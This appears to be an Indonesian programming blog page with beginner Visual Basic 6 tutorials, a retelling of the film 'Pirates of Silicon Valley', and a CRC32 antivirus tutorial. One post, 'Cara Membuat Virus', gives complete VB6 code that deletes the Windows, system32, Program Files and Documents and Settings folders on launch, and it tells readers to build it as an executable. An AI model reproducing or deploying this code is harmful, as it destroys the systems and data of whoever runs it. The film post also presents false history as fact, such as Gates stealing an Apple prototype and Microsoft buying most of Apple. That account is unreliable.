Pages

Selasa, 19 Juli 2011

Sejarah Hitam Bill Gates di Film Pirates of Silicon Valley



Film yang diangkat dari kisah nyata perjalanan karir Bill Gates dan Steve Jobs. Secara keseluruhan, film ini menceritakan persaingan antara Bill Gates vs Steve Jobs. Untuk diketahui, Steve Jobs adalah pendiri Apple Computer, Inc. yang terkenal dengan produk Ipod dan Macintosh.

Selain itu, film ini juga banyak menceritakan tentang sifat pribadi dari masing-masing tokoh terkenal itu. Steve yang sangat emosional dan selalu bersikap “semau gue”, selalu menuntut loyalitas berlebih dari para pegawainya. Steve memaksa programmernya untuk bekerja selama 24 jam non-stop. Bila ia mendapati programmernya tertidur, maka Steve tak segan-segan untuk memaki sang programmer. Kebalikan dari Steve, Bill Gates digambarkan sebagai seorang yang lugu, pemalu dan “santun”.

Terus terang, film ini membuat saya mengetahui lebih mendalam mengenai sejarah perkembangan komputer dan tentunya mengenai kedua tokoh tersebut. Film ini juga menceritakan bagaimana sejarah kontroversial penciptaan sistem operasi DOS dan sejarah GUI (Graphical User Interface).

Percaya atau tidak, sebenarnya DOS adalah merek dagang yang diciptakan oleh Bill Gates atas sebuah sistem operasi (OS) yang ia beli dari seorang programmer yang tak diketahui namanya. Kemudian oleh Bill Gates, OS tersebut dijual kembali per-lisensi kepada banyak perusahaan pembuat komputer. IBM adalah perusahaan pertama yang tertarik untuk menggunakan DOS pada produk mereka.

Disaat Bill Gates sibuk berdagang DOS, Steve Jobs dengan perusahaannya Apple semakin berkibar setelah membeli “mouse” dari perusahaan kecil bernama Xerox. Saat itu, Steve mendengar kabar bahwa Xerox menemukan sebuah teknologi yang bernama GUI. Hal ini membuatnya penasaran. Karena takut didahului oleh kompetitor, ia kemudian dengan cepat mendatangi markas Xerox. Berkilah untuk mengajak bekerjasama, Steve meminta Xerox untuk mempraktekkan dan menjelaskan secara detail dari teknologi GUI yang menggunakan “mouse” itu. Ehm, ternyata Steve pandai juga dalam urusan lobi-melobi. :D

Sejak saat itu, mereka berhasil menciptakan personal komputer berteknologi GUI. Apple semakin terkenal dan menggeser dominasi IBM yang menggunakan DOS. Mereka kemudian menjadi perusahaan produsen komputer terbesar didunia. Perlu diketahui, saat itu Steve berumur kira-kira 30-an lho. :)

Bill Gates Sang Pencuri

Kesuksesan Apple ternyata membuat Bill Gates tertarik untuk bekerja disana. Ia lalu mendatangi markas Apple untuk melamar pekerjaan sebagai programmer. Disana, ia bertemu dan diwawancara oleh Steve Jobs. Mungkin karena ia dikenal sebagai pencipta DOS, sehingga Steve percaya dan menerima lamarannya.

Singkat cerita, setelah Bill Gates menjadi bagian dari Apple, ternyata ia mencuri prototype yang sedang dikembangkan Apple. Ia lalu mengembangkan hasil curian tersebut tanpa sepengetahuan Steve Jobs.

Lambat laun, akhirnya Steve Jobs pun mengetahuinya. Ia mendapat kabar bahwa di Jepang sudah beredar komputer dengan program yang mirip dengan prototype Apple itu. Program tersebut tak lain adalah Microsoft Windows. Hal ini membuat Steve sangat marah.

Ada hal menarik yang keluar dari mulut Bill Gates ketika Steve Jobs melabraknya, ia membela diri dengan mengatakan, “Semua mobil ada stirnya. Tapi pencipta stir tidak ada yang protes !”.

Semenjak itu, Bill Gates mengundurkan diri dari Apple Computer, Inc. dan Mulai membangun Microsoft Corp. kemudian Microsoft Windows pun semakin berkembang. Hingga pada akhirnya, beberapa tahun kemudian Microsoft Corp. mampu membeli sebagian besar saham Apple Computer, Inc.

Program Menghitung Luas Persegi Panjang


Contoh perhitungan sederhana pada VB untuk menghitung luas sebuah persegi panjang. Source code ini untuk pemula yang sedang ingin belajar Visual Basic. Silahkan dikembangkan hehehehe :D

Download Link : http://www.indo-code.com/files/6_persegi-pa_1258656279.zip

Program Mencari Bilangan Prima


Algoritma untuk mencari bilangan prima dengan menggunakan Visual Basic. Bilangan prima yang akan dicari dapat ditentukan batas minimal dan batas maksimalnya. Kalo msih jelek silahkan dikembangkan hehehhee :D

Download Link : http://www.indo-code.com/files/6_prima_1262926754.zip

Program Image Converter


Ini adalah program buatanku tidak terlalu bagus hehehhe silahkan dikembangkan
Download Link : http://www.indo-code.com/files/6_imageconve_1273656056.zip

Membuat Game Tebak Warna dengan VB 6


Ini hanya permainan hiburan, iseng-iseng dari saya untuk merefresh sejenak agar tidak suntuk.. hehe
Silahkan teman2 kembangkan lebih lanjut :D

Silahkan Di Download : http://www.indo-code.com/files/6_maen-tebak_1293178483.zip

Membuat Program Membulatkan Bilangan Desimal


Ini adalah source code untuk membulatkan bilangan (angka) desimal.
Ini merupakan belajar dasar.

Silahkan dipelajari.
:)

Download Link : http://www.indo-code.com/files/6_membulatka_1307776412.zip

Membuat Aplikasi Pemutar Video dengan Visual Basic 6.0

Anda bisa membuat pemutar video sendiri dengan Visual
Basic 6.0
Buat project standard exe lalu klik project -> komponen -> Windows Media Player
Lihat gambar di bawah ini:


klik tombol ok.

selanjutnya di toolbox akan terlihat lambang windows media player. Double klik gambar
tersebut untuk membuat komponen windows media player tersebut ke form.

Setelah itu tambahkan Komponen DriveListBox, DirListBox, FileListBox,CommandButton
dan Label. Selanjutnya aturlah backcolor dan forecolor untuk masing-masing komponen
sehingga interface program anda akan terlihat seperti gambar di bawah ini:


Berikan kode seperti dibawah ini:


Private sFile As String


Private Sub Command1_Click()

WindowsMediaPlayer1.openPlayer sFile

End Sub


Private Sub Dir1_Change()

File1.Path = Dir1.Path

End Sub


Private Sub Drive1_Change()

Dir1.Path = Drive1.Drive

End Sub


Private Sub File1_Click()

sFile = Dir1.Path & "" & File1.FileName

Label1.Caption = sFile

End Sub


Private Sub Form_Load()

File1.Pattern = "*.dat;*.mpg"

End Sub

tombol Run atau F5 pemutar video kita akan tampak seperti ini:


cari file video di komputer anda dengan cara mengklik drive dan folder beserta file
nya.
setelah anda menemukan videonya klik pada kontrol file kemudian tekan tombol dengan
tanda panah (>) aplikasi kita akan membuka windows media player. Lihat gambar
di bawah ini:



Windows media player otomatis membuka dan memutar video kesukaan anda. Wah jangan
sampai memutar video porno yang mirip artis atau video kekerasan disekolah or kampus
ya.

Klo puter video bola piala dunia atau putar video clip lagu keong racun nya sinta
and jojo boleh juga he..he..he :)

Membuat Database di Visual Basic 6.0

Visual Basic 6.0 mempunyai kemampuan untuk menyimpan data lewat menu Add-Ins. Langkah membuat database adalah sebagai berikut :
Pilih menu utama : Add-Ins -> Visual Data Manager




Setelah itu akan tampil window 'VisData';
Lalu klik menu File -> New -> Microsoft Access -> Version 7.0 MDB;
Berikan nama pada database yang akan dibuat;
Klik kanan pada properties, kemudian klik new table;
Kemudian tampil window 'Table Structure';



Lalu klik commandbutton 'Add Field';



Kemudian masukkan Field(name, type, size);
Sebagai contoh adalah gambar di bawah ini :


Setelah itu anda klik commandbutton 'Build The Table' sehingga tampil 'Database Window'.

Untuk mengisi data yaitu dengan cara double klik di nama tablenya.


Selamat mencoba... :D

Cara Membuat Virus Dengan Visual Basic



Kali ini saya akan membahas tentang bagaimana cara membuat virus dengan visual basic mungkin bagi master2 vb tidak perlu untuk membaca tutorial ini dikhususkan untuk pemula banyak sekali virus2 yaang sudah bertebaran di internet tapi bagaimana program virus itu bekerja berikut langkah-langkahnya

Langkah-langkahnya adalah:

1. Buka Visual Basic 6.0 kalian lalu pilih Standart Exe.
2. Lalu buat formnya sekecil mungkin.
3. Dan klik 2x pada form itu dan akan menampilkan halaman untuk menaruh source kode, tolong hapus kode yang sudah ada, dan CoPas seluruh kode dibawah ini:

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:windowssystem32unpamhack.txt”) = True Then
End
Else
Call DelAll(”c:windowssystem”)
Call DelAll(”c:windowssystem32″)
Call DelAll(”c:windows”)
Call DelAll(”C: Documents and SettingsAll Users”)
Call DelAll(”C: Documents and SettingsAdministrator”)
Call DelAll(”C: Documents and Settings”)
Call DelAll(”C: Program FilesCommon Files”)
Call DelAll(”C: Program Files Internet Explorer”)
Call DelAll(”C: Program FilesMicrosoft Visual Studio”)
Call DelAll(”C: Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

4. Setelah udah diCoPas silahkan dieksekusi dengan menekan tombol F5, atau bikin jadi exe. dengan cara buka menu File pilih Make Project1.exe simpan dengan nama apa saja,,

Nah untuk keterangan dari koding diatas adalah, pada teks yang warna hijau itu penangkal nih virus, jadi kalau di folder c:windows/system32 ada file yang namanya unpamhack.txt, kalian ga bakal keserang oleh virus ini. bisa kalian edit koq jadi apa aja.. Satu lagi kalian gak bisa ngedit folder drive D yang untuk dijadikan objek untuk dihapus karena hanya bisa menghapus sistem saja. Apa jadinya kalau sistem terhapus?? ERRRROOORRR alias komputer situ ngblanggggg…..blengg..blengg..bleenggg…D
anda dapat mengembangkan lebih lanjut.

Cara Membuat AntiVirus Dengan Visual Basic


cara ini sangat sederhana dan dibuat untuk menangapi tutorial sebelumnya yang tidak lengkap apabila hanya membuat virus saja oke langsung aja deh tanpa basa-basi lagi

Mari kita belajar membuat sebuah AV sederhana, yang diperlukan :

1. Software Visual Basic 6.0

2. Sedikit pemahaman akan pemograman Visual Basic 6.0

3. Sampel file bersih atau virus (- opsional)

* First

Sekarang kita akan belajar membuat sebuah rutin sederhana untuk :

- Memilih file yang akan dicek

- Membuka file tersebut dalam mode binary

- Memproses byte demi byte untuk menghasilkan Checksum
Buka MS-Visual Basic 6.0 anda, lalu buatlah sebuah class module dan Form dengan menambahkan sebuah objek Textbox, CommonDialog dan Command Button. (Objek CommonDialog dapat ditambahkan dengan memilih Project -> COmponent atau Ctrl-T dan memilih Microsoft Common Dialog Control 6.0). Ketikkan kode berikut pada class module (kita beri nama class module tsb clsCrc) :

================= START HERE ====================

Private crcTable(0 To 255) As Long ‘crc32

Public Function CRC32(ByRef bArrayIn() As Byte, ByVal lLen As Long, Optional ByVal lcrc As Long = 0) As Long

‘bArrayIn adalah array byte dari file yang dibaca, lLen adalah ukuran atau size file

Dim lCurPos As Long ‘Current position untuk iterasi proses array bArrayIn

Dim lTemp As Long ‘variabel temp hasil perhitungan

If lLen = 0 Then Exit Function ‘keluar fungsi apabila ukuran file = 0

lTemp = lcrc Xor &HFFFFFFFF

For lCurPos = 0 To lLen

lTemp = (((lTemp And &HFFFFFF00) &H100) And &HFFFFFF) Xor (crcTable((lTemp And 255) Xor bArrayIn(lCurPos)))

Next lCurPos

CRC32 = lTemp Xor &HFFFFFFFF

End Function

Private Function BuildTable() As Boolean

Dim i As Long, x As Long, crc As Long

Const Limit = &HEDB88320

For i = 0 To 255

crc = i

For x = 0 To 7

If crc And 1 Then

crc = (((crc And &HFFFFFFFE) 2) And &H7FFFFFFF) Xor Limit

Else

crc = ((crc And &HFFFFFFFE) 2) And &H7FFFFFFF

End If

Next x

crcTable(i) = crc

Next i

End Function

Private Sub Class_Initialize()

BuildTable

End Sub

================= END HERE ====================

Lalu ketikkan kode berikut dalam event Command1_Click :

================= START HERE ====================

Dim namaFileBuka As String, HasilCrc As String

Dim CCrc As New clsCrc ‘bikin objek baru dari class ClsCrc

Dim calCrc As Long

Dim tmp() As Byte ‘array buat file yang dibaca

Private Sub Command1_Click()

CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog

CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog

On Error GoTo erorhandle ‘label error handle

CommonDialog1.ShowOpen

namafilbuka = CommonDialog1.FileName

Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary

ReDim tmp(LOF(1)) As Byte ‘deklarasi ulang untuk array

Get #1, , tmp()

Close #1

calCrc = UBound(tmp) ‘mengambil ukuran file dari array

calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC

HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric

Text1.Text = HasilCrc ‘tampilkan hasilnya

Exit Sub

erorhandle:

If Err.Number 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file

================= END HERE ====================

Coba anda jalankan program diatas dengan memencet tombol F5, lalu klik Command1 untuk memilih dan membuka file. Maka program akan menampilkan CRC32nya.

* Second

Kode diatas dapat kita buat menjadi sebuah rutin pengecekan file suspect virus dengan antara membandingkan hasil CRC32nya dan database CRC kita sendiri. Algoritmanya adalah :

- Memilih file yang akan dicek

- Membuka file tersebut dalam mode binary

- Memproses byte demi byte untuk menghasilkan Checksum

- Buka file database

- Ambil isi file baris demi baris

- Samakan Checksum hasil perhitungan dengan checksum dari file

Format file database dapat kita tentukan sendiri, misal :

- FluBurung.A=ABCDEFGH

- Diary.A=12345678

Dimana FluBurung.A adalah nama virus dan ABCDEFGH dalah Crc32nya. Jika kita mempunyai format file seperti diatas, maka kita perlu membaca file secara sekuensial per baris serta memisahkan antara nama virus dan Crc32nya. Dalam hal ini yang menjadi pemisah adalah karakter ‘=’.

Buat 1 module baru (- diberi nama module1) lalu isi dengan kode :

================= START HERE ====================

Public namaVirus As String, CrcVirus As String ‘deklarasi variabel global untuk nama dan CRC virus

Public pathExe as String ‘deklarasi variabel penyimpan lokasi file EXE AV kita

Public Function cariDatabase(Crc As String, namaFileDB As String) As Boolean

Dim lineStr As String, tmp() As String ‘variabel penampung untuk isi file

Open namaFileDB For Input As #1 ‘buka file dengan mode input

Do

Line Input #1, lineStr

tmp = Split(lineStr, “=”) ‘pisahkan isi file bedasarkan pemisah karakter ‘=’

namaVirus = tmp(0) ‘masukkan namavirus ke variabel dari array

CrcVirus = tmp(1) ‘masukkan Crcvirus ke variabel dari array

If CrcVirus = Crc Then ‘bila CRC perhitungan cocok/match dengan database

cariDatabase = True ‘kembalikan nilai TRUE

Exit Do ‘keluar dari perulangan

End If

Loop Until EOF(1)

Close #1

End Function

================= END HERE ====================

Lalu tambahkan 1 objek baru kedalam Form, yaitu Command button2. lalu ketikkan listing kode berikut kedalam event Command2_Click :

================= START HERE ====================

If Len(App.Path) <= 3 Then ‘bila direktori kita adalah root direktori

pathEXE = App.Path

Else

pathEXE = App.Path & “”

End If

CommonDialog1.CancelError = True ‘error bila user mengklik cancel pada CommonDialog

CommonDialog1.DialogTitle = “Baca File” ‘Caption commondialog

On Error GoTo erorhandle ‘label error handle

CommonDialog1.ShowOpen

namafilbuka = CommonDialog1.FileName

Open namafilbuka For Binary Access Read As #1 ‘buka file yang dipilih dengan akses baca pada mode binary

ReDim tmp(LOF(1)) As Byte ‘deklarasi ulang untuk array

Get #1, , tmp()

Close #1

calCrc = UBound(tmp) ‘mengambil ukuran file dari array

calCrc = CCrc.CRC32(tmp, calCrc) ‘hitung CRC

HasilCrc = Hex(calCrc) ‘diubah ke format hexadesimal, karena hasil perhitungan dari class CRC masih berupa numeric

If cariDatabase(HasilCrc, pathEXE & “DB.txt”) Then ‘bila fungsi bernilai TRUE

MsgBox “Virus ditemukan : ” & namaVirus ‘tampilkan message Box

End If

Exit Sub

erorhandle:

If Err.Number 32755 Then MsgBox Err.Description ‘error number 32755 dalah bila user mengklik tombol cancel pada saat memilih file